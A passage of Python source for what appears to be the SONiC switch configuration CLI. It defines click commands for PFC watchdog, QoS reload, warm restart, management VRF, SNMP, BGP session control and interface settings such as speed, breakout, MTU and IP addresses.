type=click.IntRange(100, 3000)) def interval(poll_interval, verbose): """ Set PFC watchdog counter polling interval (ms) """ cmd = "pfcwd interval {}".format(poll_interval) clicommon.run_command(cmd, display_cmd=verbose) @pfcwd.command('counter_poll') @click.option('--verbose', is_flag=True, help="Enable verbose output") @click.argument('counter_poll', type=click.Choice(['enable', 'disable'])) def counter_poll(counter_poll, verbose): """ Enable/disable counter polling """ cmd = "pfcwd counter_poll {}".format(counter_poll) clicommon.run_command(cmd, display_cmd=verbose) @pfcwd.command('big_red_switch') @click.option('--verbose', is_flag=True, help="Enable verbose output") @click.argument('big_red_switch', type=click.Choice(['enable', 'disable'])) def big_red_switch(big_red_switch, verbose): """ Enable/disable BIG_RED_SWITCH mode """ cmd = "pfcwd big_red_switch {}".format(big_red_switch) clicommon.run_command(cmd, display_cmd=verbose) @pfcwd.command('start_default') @click.option('--verbose', is_flag=True, help="Enable verbose output") def start_default(verbose): """ Start PFC WD by default configurations """ cmd = "pfcwd start_default" clicommon.run_command(cmd, display_cmd=verbose) # # 'qos' group ('config qos ...') # @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def qos(ctx): """QoS-related configuration tasks""" pass @qos.command('clear') def clear(): """Clear QoS configuration""" log.log_info("'qos clear' executing...") _clear_qos() def _update_buffer_calculation_model(config_db, model): """Update the buffer calculation model into CONFIG_DB""" buffer_model_changed = False device_metadata = config_db.get_entry('DEVICE_METADATA', 'localhost') if device_metadata.get('buffer_model') != model: buffer_model_changed = True device_metadata['buffer_model'] = model config_db.set_entry('DEVICE_METADATA', 'localhost', device_metadata) return buffer_model_changed @qos.command('reload') @click.pass_context @click.option('--no-dynamic-buffer', is_flag=True, help="Disable dynamic buffer calculation") @click.option( '--json-data', type=click.STRING, help="json string with additional data, valid with --dry-run option" ) @click.option( '--dry_run', type=click.STRING, help="Dry run, writes config to the given file" ) def reload(ctx, no_dynamic_buffer, dry_run, json_data): """Reload QoS configuration""" log.log_info("'qos reload' executing...") _clear_qos() _, hwsku_path = device_info.get_paths_to_platform_and_hwsku_dirs() sonic_version_file = device_info.get_sonic_version_file() from_db = "-d --write-to-db" if dry_run: from_db = "--additional-data \'{}\'".format(json_data) if json_data else "" namespace_list = [DEFAULT_NAMESPACE] if multi_asic.get_num_asics() > 1: namespace_list = multi_asic.get_namespaces_from_linux() buffer_model_updated = False vendors_supporting_dynamic_buffer = ["mellanox"] for ns in namespace_list: if ns is DEFAULT_NAMESPACE: asic_id_suffix = "" config_db = ConfigDBConnector() else: asic_id = multi_asic.get_asic_id_from_name(ns) if asic_id is None: click.secho( "Command 'qos reload' failed with invalid namespace '{}'". format(ns), fg="yellow" ) raise click.Abort() asic_id_suffix = str(asic_id) config_db = ConfigDBConnector( use_unix_socket_path=True, namespace=ns ) config_db.connect() if not no_dynamic_buffer and asic_type in vendors_supporting_dynamic_buffer: buffer_template_file = os.path.join(hwsku_path, asic_id_suffix, "buffers_dynamic.json.j2") buffer_model_updated |= _update_buffer_calculation_model(config_db, "dynamic") else: buffer_template_file = os.path.join(hwsku_path, asic_id_suffix, "buffers.json.j2") if asic_type in vendors_supporting_dynamic_buffer: buffer_model_updated |= _update_buffer_calculation_model(config_db, "traditional") if os.path.isfile(buffer_template_file): qos_template_file = os.path.join( hwsku_path, asic_id_suffix, "qos.json.j2" ) if os.path.isfile(qos_template_file): cmd_ns = "" if ns is DEFAULT_NAMESPACE else "-n {}".format(ns) fname = "{}{}".format(dry_run, asic_id_suffix) if dry_run else "config-db" command = "{} {} {} -t {},{} -t {},{} -y {}".format( SONIC_CFGGEN_PATH, cmd_ns, from_db, buffer_template_file, fname, qos_template_file, fname, sonic_version_file ) # Apply the configurations only when both buffer and qos # configuration files are present clicommon.run_command(command, display_cmd=True) else: click.secho("QoS definition template not found at {}".format( qos_template_file ), fg="yellow") else: click.secho("Buffer definition template not found at {}".format( buffer_template_file ), fg="yellow") if buffer_model_updated: print("Buffer calculation model updated, restarting swss is required to take effect") def is_dynamic_buffer_enabled(config_db): """Return whether the current system supports dynamic buffer calculation""" device_metadata = config_db.get_entry('DEVICE_METADATA', 'localhost') return 'dynamic' == device_metadata.get('buffer_model') # # 'warm_restart' group ('config warm_restart ...') # @config.group(cls=clicommon.AbbreviationGroup, name='warm_restart') @click.pass_context @click.option('-s', '--redis-unix-socket-path', help='unix socket path for redis connection') def warm_restart(ctx, redis_unix_socket_path): """warm_restart-related configuration tasks""" # Note: redis_unix_socket_path is a path string, and the ground truth is now from database_config.json. # We only use it as a bool indicator on either unix_socket_path or tcp port use_unix_socket_path = bool(redis_unix_socket_path) config_db = ConfigDBConnector(use_unix_socket_path=use_unix_socket_path) config_db.connect(wait_for_init=False) # warm restart enable/disable config is put in stateDB, not persistent across cold reboot, not saved to config_DB.json file state_db = SonicV2Connector(use_unix_socket_path=use_unix_socket_path) state_db.connect(state_db.STATE_DB, False) TABLE_NAME_SEPARATOR = '|' prefix = 'WARM_RESTART_ENABLE_TABLE' + TABLE_NAME_SEPARATOR ctx.obj = {'db': config_db, 'state_db': state_db, 'prefix': prefix} @warm_restart.command('enable') @click.argument('module', metavar='<module>', default='system', required=False, type=click.Choice(["system", "swss", "bgp", "teamd"])) @click.pass_context def warm_restart_enable(ctx, module): state_db = ctx.obj['state_db'] prefix = ctx.obj['prefix'] _hash = '{}{}'.format(prefix, module) state_db.set(state_db.STATE_DB, _hash, 'enable', 'true') state_db.close(state_db.STATE_DB) @warm_restart.command('disable') @click.argument('module', metavar='<module>', default='system', required=False, type=click.Choice(["system", "swss", "bgp", "teamd"])) @click.pass_context def warm_restart_enable(ctx, module): state_db = ctx.obj['state_db'] prefix = ctx.obj['prefix'] _hash = '{}{}'.format(prefix, module) state_db.set(state_db.STATE_DB, _hash, 'enable', 'false') state_db.close(state_db.STATE_DB) @warm_restart.command('neighsyncd_timer') @click.argument('seconds', metavar='<seconds>', required=True, type=int) @click.pass_context def warm_restart_neighsyncd_timer(ctx, seconds): db = ctx.obj['db'] if seconds not in range(1, 9999): ctx.fail("neighsyncd warm restart timer must be in range 1-9999") db.mod_entry('WARM_RESTART', 'swss', {'neighsyncd_timer': seconds}) @warm_restart.command('bgp_timer') @click.argument('seconds', metavar='<seconds>', required=True, type=int) @click.pass_context def warm_restart_bgp_timer(ctx, seconds): db = ctx.obj['db'] if seconds not in range(1, 3600): ctx.fail("bgp warm restart timer must be in range 1-3600") db.mod_entry('WARM_RESTART', 'bgp', {'bgp_timer': seconds}) @warm_restart.command('teamsyncd_timer') @click.argument('seconds', metavar='<seconds>', required=True, type=int) @click.pass_context def warm_restart_teamsyncd_timer(ctx, seconds): db = ctx.obj['db'] if seconds not in range(1, 3600): ctx.fail("teamsyncd warm restart timer must be in range 1-3600") db.mod_entry('WARM_RESTART', 'teamd', {'teamsyncd_timer': seconds}) @warm_restart.command('bgp_eoiu') @click.argument('enable', metavar='<enable>', default='true', required=False, type=click.Choice(["true", "false"])) @click.pass_context def warm_restart_bgp_eoiu(ctx, enable): db = ctx.obj['db'] db.mod_entry('WARM_RESTART', 'bgp', {'bgp_eoiu': enable}) def mvrf_restart_services(): """Restart interfaces-config service and NTP service when mvrf is changed""" """ When mvrf is enabled, eth0 should be moved to mvrf; when it is disabled, move it back to default vrf. Restarting the "interfaces-config" service will recreate the /etc/network/interfaces file and restart the "networking" service that takes care of the eth0 movement. NTP service should also be restarted to rerun the NTP service with or without "cgexec" accordingly. """ cmd="service ntp stop" os.system (cmd) cmd="systemctl restart interfaces-config" os.system (cmd) cmd="service ntp start" os.system (cmd) def vrf_add_management_vrf(config_db): """Enable management vrf in config DB""" entry = config_db.get_entry('MGMT_VRF_CONFIG', "vrf_global") if entry and entry['mgmtVrfEnabled'] == 'true' : click.echo("ManagementVRF is already Enabled.") return None config_db.mod_entry('MGMT_VRF_CONFIG', "vrf_global", {"mgmtVrfEnabled": "true"}) mvrf_restart_services() """ The regular expression for grep in below cmd is to match eth0 line in /proc/net/route, sample file: $ cat /proc/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT eth0 00000000 01803B0A 0003 0 0 202 00000000 0 0 0 """ cmd = "cat /proc/net/route | grep -E \"eth0\s+00000000\s+[0-9A-Z]+\s+[0-9]+\s+[0-9]+\s+[0-9]+\s+202\" | wc -l" proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) output = proc.communicate() if int(output[0]) >= 1: cmd="ip -4 route del default dev eth0 metric 202" proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) proc.communicate() if proc.returncode != 0: click.echo("Could not delete eth0 route") def vrf_delete_management_vrf(config_db): """Disable management vrf in config DB""" entry = config_db.get_entry('MGMT_VRF_CONFIG', "vrf_global") if not entry or entry['mgmtVrfEnabled'] == 'false' : click.echo("ManagementVRF is already Disabled.") return None config_db.mod_entry('MGMT_VRF_CONFIG', "vrf_global", {"mgmtVrfEnabled": "false"}) mvrf_restart_services() @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def snmpagentaddress(ctx): """SNMP agent listening IP address, port, vrf configuration""" config_db = ConfigDBConnector() config_db.connect() ctx.obj = {'db': config_db} ip_family = {4: AF_INET, 6: AF_INET6} @snmpagentaddress.command('add') @click.argument('agentip', metavar='<SNMP AGENT LISTENING IP Address>', required=True) @click.option('-p', '--port', help="SNMP AGENT LISTENING PORT") @click.option('-v', '--vrf', help="VRF Name mgmt/DataVrfName/None") @click.pass_context def add_snmp_agent_address(ctx, agentip, port, vrf): """Add the SNMP agent listening IP:Port%Vrf configuration""" #Construct SNMP_AGENT_ADDRESS_CONFIG table key in the format ip|<port>|<vrf> if not clicommon.is_ipaddress(agentip): click.echo("Invalid IP address") return False config_db = ctx.obj['db'] if not vrf: entry = config_db.get_entry('MGMT_VRF_CONFIG', "vrf_global") if entry and entry['mgmtVrfEnabled'] == 'true' : click.echo("ManagementVRF is Enabled. Provide vrf.") return False found = 0 ip = ipaddress.ip_address(agentip) for intf in netifaces.interfaces(): ipaddresses = netifaces.ifaddresses(intf) if ip_family[ip.version] in ipaddresses: for ipaddr in ipaddresses[ip_family[ip.version]]: if agentip == ipaddr['addr']: found = 1 break; if found == 1: break; else: click.echo("IP addfress is not available") return key = agentip+'|' if port: key = key+port #snmpd does not start if we have two entries with same ip and port. key1 = "SNMP_AGENT_ADDRESS_CONFIG|" + key + '*' entry = config_db.get_keys(key1) if entry: ip_port = agentip + ":" + port click.echo("entry with {} already exists ".format(ip_port)) return key = key+'|' if vrf: key = key+vrf config_db.set_entry('SNMP_AGENT_ADDRESS_CONFIG', key, {}) #Restarting the SNMP service will regenerate snmpd.conf and rerun snmpd cmd="systemctl restart snmp" os.system (cmd) @snmpagentaddress.command('del') @click.argument('agentip', metavar='<SNMP AGENT LISTENING IP Address>', required=True) @click.option('-p', '--port', help="SNMP AGENT LISTENING PORT") @click.option('-v', '--vrf', help="VRF Name mgmt/DataVrfName/None") @click.pass_context def del_snmp_agent_address(ctx, agentip, port, vrf): """Delete the SNMP agent listening IP:Port%Vrf configuration""" key = agentip+'|' if port: key = key+port key = key+'|' if vrf: key = key+vrf config_db = ctx.obj['db'] config_db.set_entry('SNMP_AGENT_ADDRESS_CONFIG', key, None) cmd="systemctl restart snmp" os.system (cmd) @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def snmptrap(ctx): """SNMP Trap server configuration to send traps""" config_db = ConfigDBConnector() config_db.connect() ctx.obj = {'db': config_db} @snmptrap.command('modify') @click.argument('ver', metavar='<SNMP Version>', type=click.Choice(['1', '2', '3']), required=True) @click.argument('serverip', metavar='<SNMP TRAP SERVER IP Address>', required=True) @click.option('-p', '--port', help="SNMP Trap Server port, default 162", default="162") @click.option('-v', '--vrf', help="VRF Name mgmt/DataVrfName/None", default="None") @click.option('-c', '--comm', help="Community", default="public") @click.pass_context def modify_snmptrap_server(ctx, ver, serverip, port, vrf, comm): """Modify the SNMP Trap server configuration""" #SNMP_TRAP_CONFIG for each SNMP version config_db = ctx.obj['db'] if ver == "1": #By default, v1TrapDest value in snmp.yml is "NotConfigured". Modify it. config_db.mod_entry('SNMP_TRAP_CONFIG', "v1TrapDest", {"DestIp": serverip, "DestPort": port, "vrf": vrf, "Community": comm}) elif ver == "2": config_db.mod_entry('SNMP_TRAP_CONFIG', "v2TrapDest", {"DestIp": serverip, "DestPort": port, "vrf": vrf, "Community": comm}) else: config_db.mod_entry('SNMP_TRAP_CONFIG', "v3TrapDest", {"DestIp": serverip, "DestPort": port, "vrf": vrf, "Community": comm}) cmd="systemctl restart snmp" os.system (cmd) @snmptrap.command('del') @click.argument('ver', metavar='<SNMP Version>', type=click.Choice(['1', '2', '3']), required=True) @click.pass_context def delete_snmptrap_server(ctx, ver): """Delete the SNMP Trap server configuration""" config_db = ctx.obj['db'] if ver == "1": config_db.mod_entry('SNMP_TRAP_CONFIG', "v1TrapDest", None) elif ver == "2": config_db.mod_entry('SNMP_TRAP_CONFIG', "v2TrapDest", None) else: config_db.mod_entry('SNMP_TRAP_CONFIG', "v3TrapDest", None) cmd="systemctl restart snmp" os.system (cmd) # # 'bgp' group ('config bgp ...') # @config.group(cls=clicommon.AbbreviationGroup) def bgp(): """BGP-related configuration tasks""" pass # # 'shutdown' subgroup ('config bgp shutdown ...') # @bgp.group(cls=clicommon.AbbreviationGroup) def shutdown(): """Shut down BGP session(s)""" pass # 'all' subcommand @shutdown.command() @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def all(verbose): """Shut down all BGP sessions In the case of Multi-Asic platform, we shut only the EBGP sessions with external neighbors. """ log.log_info("'bgp shutdown all' executing...") namespaces = [DEFAULT_NAMESPACE] if multi_asic.is_multi_asic(): ns_list = multi_asic.get_all_namespaces() namespaces = ns_list['front_ns'] # Connect to CONFIG_DB in linux host (in case of single ASIC) or CONFIG_DB in all the # namespaces (in case of multi ASIC) and do the sepcified "action" on the BGP neighbor(s) for namespace in namespaces: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() bgp_neighbor_ip_list = _get_all_neighbor_ipaddresses(config_db) for ipaddress in bgp_neighbor_ip_list: _change_bgp_session_status_by_addr(config_db, ipaddress, 'down', verbose) # 'neighbor' subcommand @shutdown.command() @click.argument('ipaddr_or_hostname', metavar='<ipaddr_or_hostname>', required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def neighbor(ipaddr_or_hostname, verbose): """Shut down BGP session by neighbor IP address or hostname. User can specify either internal or external BGP neighbor to shutdown """ log.log_info("'bgp shutdown neighbor {}' executing...".format(ipaddr_or_hostname)) namespaces = [DEFAULT_NAMESPACE] found_neighbor = False if multi_asic.is_multi_asic(): ns_list = multi_asic.get_all_namespaces() namespaces = ns_list['front_ns'] + ns_list['back_ns'] # Connect to CONFIG_DB in linux host (in case of single ASIC) or CONFIG_DB in all the # namespaces (in case of multi ASIC) and do the sepcified "action" on the BGP neighbor(s) for namespace in namespaces: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() if _change_bgp_session_status(config_db, ipaddr_or_hostname, 'down', verbose): found_neighbor = True if not found_neighbor: click.get_current_context().fail("Could not locate neighbor '{}'".format(ipaddr_or_hostname)) @bgp.group(cls=clicommon.AbbreviationGroup) def startup(): """Start up BGP session(s)""" pass # 'all' subcommand @startup.command() @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def all(verbose): """Start up all BGP sessions In the case of Multi-Asic platform, we startup only the EBGP sessions with external neighbors. """ log.log_info("'bgp startup all' executing...") namespaces = [DEFAULT_NAMESPACE] if multi_asic.is_multi_asic(): ns_list = multi_asic.get_all_namespaces() namespaces = ns_list['front_ns'] # Connect to CONFIG_DB in linux host (in case of single ASIC) or CONFIG_DB in all the # namespaces (in case of multi ASIC) and do the sepcified "action" on the BGP neighbor(s) for namespace in namespaces: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() bgp_neighbor_ip_list = _get_all_neighbor_ipaddresses(config_db) for ipaddress in bgp_neighbor_ip_list: _change_bgp_session_status_by_addr(config_db, ipaddress, 'up', verbose) # 'neighbor' subcommand @startup.command() @click.argument('ipaddr_or_hostname', metavar='<ipaddr_or_hostname>', required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def neighbor(ipaddr_or_hostname, verbose): log.log_info("'bgp startup neighbor {}' executing...".format(ipaddr_or_hostname)) """Start up BGP session by neighbor IP address or hostname. User can specify either internal or external BGP neighbor to startup """ namespaces = [DEFAULT_NAMESPACE] found_neighbor = False if multi_asic.is_multi_asic(): ns_list = multi_asic.get_all_namespaces() namespaces = ns_list['front_ns'] + ns_list['back_ns'] # Connect to CONFIG_DB in linux host (in case of single ASIC) or CONFIG_DB in all the # namespaces (in case of multi ASIC) and do the sepcified "action" on the BGP neighbor(s) for namespace in namespaces: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() if _change_bgp_session_status(config_db, ipaddr_or_hostname, 'up', verbose): found_neighbor = True if not found_neighbor: click.get_current_context().fail("Could not locate neighbor '{}'".format(ipaddr_or_hostname)) # # 'remove' subgroup ('config bgp remove ...') # @bgp.group(cls=clicommon.AbbreviationGroup) def remove(): "Remove BGP neighbor configuration from the device" pass @remove.command('neighbor') @click.argument('neighbor_ip_or_hostname', metavar='<neighbor_ip_or_hostname>', required=True) def remove_neighbor(neighbor_ip_or_hostname): """Deletes BGP neighbor configuration of given hostname or ip from devices User can specify either internal or external BGP neighbor to remove """ namespaces = [DEFAULT_NAMESPACE] removed_neighbor = False if multi_asic.is_multi_asic(): ns_list = multi_asic.get_all_namespaces() namespaces = ns_list['front_ns'] + ns_list['back_ns'] # Connect to CONFIG_DB in linux host (in case of single ASIC) or CONFIG_DB in all the # namespaces (in case of multi ASIC) and do the sepcified "action" on the BGP neighbor(s) for namespace in namespaces: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() if _remove_bgp_neighbor_config(config_db, neighbor_ip_or_hostname): removed_neighbor = True if not removed_neighbor: click.get_current_context().fail("Could not locate neighbor '{}'".format(neighbor_ip_or_hostname)) # # 'interface' group ('config interface ...') # @config.group(cls=clicommon.AbbreviationGroup) # TODO add "hidden=True if this is a single ASIC platform, once we have click 7.0 in all branches. @click.option('-n', '--namespace', help='Namespace name', required=True if multi_asic.is_multi_asic() else False, type=click.Choice(multi_asic.get_namespace_list())) @click.pass_context def interface(ctx, namespace): """Interface-related configuration tasks""" # Set namespace to default_namespace if it is None. if namespace is None: namespace = DEFAULT_NAMESPACE config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=str(namespace)) config_db.connect() ctx.obj = {'config_db': config_db, 'namespace': str(namespace)} # # 'startup' subcommand # @interface.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.pass_context def startup(ctx, interface_name): """Start up interface""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") intf_fs = parse_interface_in_filter(interface_name) if len(intf_fs) > 1 and multi_asic.is_multi_asic(): ctx.fail("Interface range not supported in multi-asic platforms !!") if len(intf_fs) == 1 and interface_name_is_valid(config_db, interface_name) is False: ctx.fail("Interface name is invalid. Please enter a valid interface name!!") log.log_info("'interface startup {}' executing...".format(interface_name)) port_dict = config_db.get_table('PORT') for port_name in port_dict: if port_name in intf_fs: config_db.mod_entry("PORT", port_name, {"admin_status": "up"}) portchannel_list = config_db.get_table("PORTCHANNEL") for po_name in portchannel_list: if po_name in intf_fs: config_db.mod_entry("PORTCHANNEL", po_name, {"admin_status": "up"}) subport_list = config_db.get_table("VLAN_SUB_INTERFACE") for sp_name in subport_list: if sp_name in intf_fs: config_db.mod_entry("VLAN_SUB_INTERFACE", sp_name, {"admin_status": "up"}) # # 'shutdown' subcommand # @interface.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.pass_context def shutdown(ctx, interface_name): """Shut down interface""" log.log_info("'interface shutdown {}' executing...".format(interface_name)) # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") intf_fs = parse_interface_in_filter(interface_name) if len(intf_fs) > 1 and multi_asic.is_multi_asic(): ctx.fail("Interface range not supported in multi-asic platforms !!") if len(intf_fs) == 1 and interface_name_is_valid(config_db, interface_name) is False: ctx.fail("Interface name is invalid. Please enter a valid interface name!!") port_dict = config_db.get_table('PORT') for port_name in port_dict: if port_name in intf_fs: config_db.mod_entry("PORT", port_name, {"admin_status": "down"}) portchannel_list = config_db.get_table("PORTCHANNEL") for po_name in portchannel_list: if po_name in intf_fs: config_db.mod_entry("PORTCHANNEL", po_name, {"admin_status": "down"}) subport_list = config_db.get_table("VLAN_SUB_INTERFACE") for sp_name in subport_list: if sp_name in intf_fs: config_db.mod_entry("VLAN_SUB_INTERFACE", sp_name, {"admin_status": "down"}) # # 'speed' subcommand # @interface.command() @click.pass_context @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('interface_speed', metavar='<interface_speed>', required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def speed(ctx, interface_name, interface_speed, verbose): """Set interface speed""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") log.log_info("'interface speed {} {}' executing...".format(interface_name, interface_speed)) if ctx.obj['namespace'] is DEFAULT_NAMESPACE: command = "portconfig -p {} -s {}".format(interface_name, interface_speed) else: command = "portconfig -p {} -s {} -n {}".format(interface_name, interface_speed, ctx.obj['namespace']) if verbose: command += " -vv" clicommon.run_command(command, display_cmd=verbose) # # 'breakout' subcommand # @interface.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('mode', required=True, type=click.STRING, autocompletion=_get_breakout_options) @click.option('-f', '--force-remove-dependencies', is_flag=True, help='Clear all dependencies internally first.') @click.option('-l', '--load-predefined-config', is_flag=True, help='load predefied user configuration (alias, lanes, speed etc) first.') @click.option('-y', '--yes', is_flag=True, callback=_abort_if_false, expose_value=False, prompt='Do you want to Breakout the port, continue?') @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") @click.pass_context def breakout(ctx, interface_name, mode, verbose, force_remove_dependencies, load_predefined_config): """ Set interface breakout mode """ breakout_cfg_file = device_info.get_path_to_port_config_file() if not os.path.isfile(breakout_cfg_file) or not breakout_cfg_file.endswith('.json'): click.secho("[ERROR] Breakout feature is not available without platform.json file", fg='red') raise click.Abort() # Get the config_db connector config_db = ctx.obj['config_db'] target_brkout_mode = mode # Get current breakout mode cur_brkout_dict = config_db.get_table('BREAKOUT_CFG') if len(cur_brkout_dict) == 0: click.secho("[ERROR] BREAKOUT_CFG table is NOT present in CONFIG DB", fg='red') raise click.Abort() if interface_name not in cur_brkout_dict.keys(): click.secho("[ERROR] {} interface is NOT present in BREAKOUT_CFG table of CONFIG DB".format(interface_name), fg='red') raise click.Abort() cur_brkout_mode = cur_brkout_dict[interface_name]["brkout_mode"] # Validate Interface and Breakout mode if not _validate_interface_mode(ctx, breakout_cfg_file, interface_name, mode, cur_brkout_mode): raise click.Abort() """ Interface Deletion Logic """ # Get list of interfaces to be deleted del_ports = get_child_ports(interface_name, cur_brkout_mode, breakout_cfg_file) del_intf_dict = {intf: del_ports[intf]["speed"] for intf in del_ports} if del_intf_dict: """ shut down all the interface before deletion """ ret = shutdown_interfaces(ctx, del_intf_dict) if not ret: raise click.Abort() click.echo("\nPorts to be deleted : \n {}".format(json.dumps(del_intf_dict, indent=4))) else: click.secho("[ERROR] del_intf_dict is None! No interfaces are there to be deleted", fg='red') raise click.Abort() """ Interface Addition Logic """ # Get list of interfaces to be added add_ports = get_child_ports(interface_name, target_brkout_mode, breakout_cfg_file) add_intf_dict = {intf: add_ports[intf]["speed"] for intf in add_ports} if add_intf_dict: click.echo("Ports to be added : \n {}".format(json.dumps(add_intf_dict, indent=4))) else: click.secho("[ERROR] port_dict is None!", fg='red') raise click.Abort() """ Special Case: Dont delete those ports where the current mode and speed of the parent port remains unchanged to limit the traffic impact """ click.secho("\nAfter running Logic to limit the impact", fg="cyan", underline=True) matched_items = [intf for intf in del_intf_dict if intf in add_intf_dict and del_intf_dict[intf] == add_intf_dict[intf]] # Remove the interface which remains unchanged from both del_intf_dict and add_intf_dict for item in matched_items: del_intf_dict.pop(item) add_intf_dict.pop(item) click.secho("\nFinal list of ports to be deleted : \n {} \nFinal list of ports to be added : \n {}".format(json.dumps(del_intf_dict, indent=4), json.dumps(add_intf_dict, indent=4), fg='green', blink=True)) if not add_intf_dict: click.secho("[ERROR] add_intf_dict is None or empty! No interfaces are there to be added", fg='red') raise click.Abort() port_dict = {} for intf in add_intf_dict: if intf in add_ports: port_dict[intf] = add_ports[intf] # writing JSON object with open('new_port_config.json', 'w') as f: json.dump(port_dict, f, indent=4) # Start Interation with Dy Port BreakOut Config Mgmt try: """ Load config for the commands which are capable of change in config DB """ cm = load_ConfigMgmt(verbose) """ Delete all ports if forced else print dependencies using ConfigMgmt API """ final_delPorts = [intf for intf in del_intf_dict] """ Warn user if tables without yang models exist and have final_delPorts """ breakout_warnUser_extraTables(cm, final_delPorts, confirm=True) # Create a dictionary containing all the added ports with its capabilities like alias, lanes, speed etc. portJson = dict(); portJson['PORT'] = port_dict # breakout_Ports will abort operation on failure, So no need to check return breakout_Ports(cm, delPorts=final_delPorts, portJson=portJson, force=force_remove_dependencies, loadDefConfig=load_predefined_config, verbose=verbose) # Set Current Breakout mode in config DB brkout_cfg_keys = config_db.get_keys('BREAKOUT_CFG') if interface_name not in brkout_cfg_keys: click.secho("[ERROR] {} is not present in 'BREAKOUT_CFG' Table!".format(interface_name), fg='red') raise click.Abort() config_db.set_entry("BREAKOUT_CFG", interface_name, {'brkout_mode': target_brkout_mode}) click.secho("Breakout process got successfully completed." .format(interface_name), fg="cyan", underline=True) click.echo("Please note loaded setting will be lost after system reboot. To preserve setting, run `config save`.") except Exception as e: click.secho("Failed to break out Port. Error: {}".format(str(e)), fg='magenta') sys.exit(0) def _get_all_mgmtinterface_keys(): """Returns list of strings containing mgmt interface keys """ config_db = ConfigDBConnector() config_db.connect() return list(config_db.get_table('MGMT_INTERFACE').keys()) def mgmt_ip_restart_services(): """Restart the required services when mgmt inteface IP address is changed""" """ Whenever the eth0 IP address is changed, restart the "interfaces-config" service which regenerates the /etc/network/interfaces file and restarts the networking service to make the new/null IP address effective for eth0. "ntp-config" service should also be restarted based on the new eth0 IP address since the ntp.conf (generated from ntp.conf.j2) is made to listen on that particular eth0 IP address or reset it back. """ cmd="systemctl restart interfaces-config" os.system (cmd) cmd="systemctl restart ntp-config" os.system (cmd) # # 'mtu' subcommand # @interface.command() @click.pass_context @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('interface_mtu', metavar='<interface_mtu>', required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def mtu(ctx, interface_name, interface_mtu, verbose): """Set interface mtu""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") portchannel_member_table = config_db.get_table('PORTCHANNEL_MEMBER') if interface_is_in_portchannel(portchannel_member_table, interface_name): ctx.fail("'interface_name' is in portchannel!") if ctx.obj['namespace'] is DEFAULT_NAMESPACE: command = "portconfig -p {} -m {}".format(interface_name, interface_mtu) else: command = "portconfig -p {} -m {} -n {}".format(interface_name, interface_mtu, ctx.obj['namespace']) if verbose: command += " -vv" clicommon.run_command(command, display_cmd=verbose) @interface.command() @click.pass_context @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('interface_fec', metavar='<interface_fec>', required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def fec(ctx, interface_name, interface_fec, verbose): """Set interface fec""" # Get the config_db connector config_db = ctx.obj['config_db'] if interface_fec not in ["rs", "fc", "none"]: ctx.fail("'fec not in ['rs', 'fc', 'none']!") if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") if ctx.obj['namespace'] is DEFAULT_NAMESPACE: command = "portconfig -p {} -f {}".format(interface_name, interface_fec) else: command = "portconfig -p {} -f {} -n {}".format(interface_name, interface_fec, ctx.obj['namespace']) if verbose: command += " -vv" clicommon.run_command(command, display_cmd=verbose) # # 'ip' subgroup ('config interface ip ...') # @interface.group(cls=clicommon.AbbreviationGroup) @click.pass_context def ip(ctx): """Add or remove IP address""" pass # # 'add' subcommand # @ip.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument("ip_addr", metavar="<ip_addr>", required=True) @click.argument('gw', metavar='<default gateway IP address>', required=False) @click.pass_context def add(ctx, interface_name, ip_addr, gw): """Add an IP address towards the interface""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") # Add a validation to check this interface is not a member in vlan before # changing it to a router port vlan_member_table = config_db.get_table('VLAN_MEMBER') if (interface_is_in_vlan(vlan_member_table, interface_name)): click.echo("Interface {} is a member of vlan\nAborting!".format(interface_name)) return try: net = ipaddress.ip_network(ip_addr, strict=False) if '/' not in ip_addr: ip_addr = str(net) if interface_name == 'eth0': # Configuring more than 1 IPv4 or more than 1 IPv6 address fails. # Allow only one IPv4 and only one IPv6 address to be configured for IPv6. # If a row already exist, overwrite it (by doing delete and add). 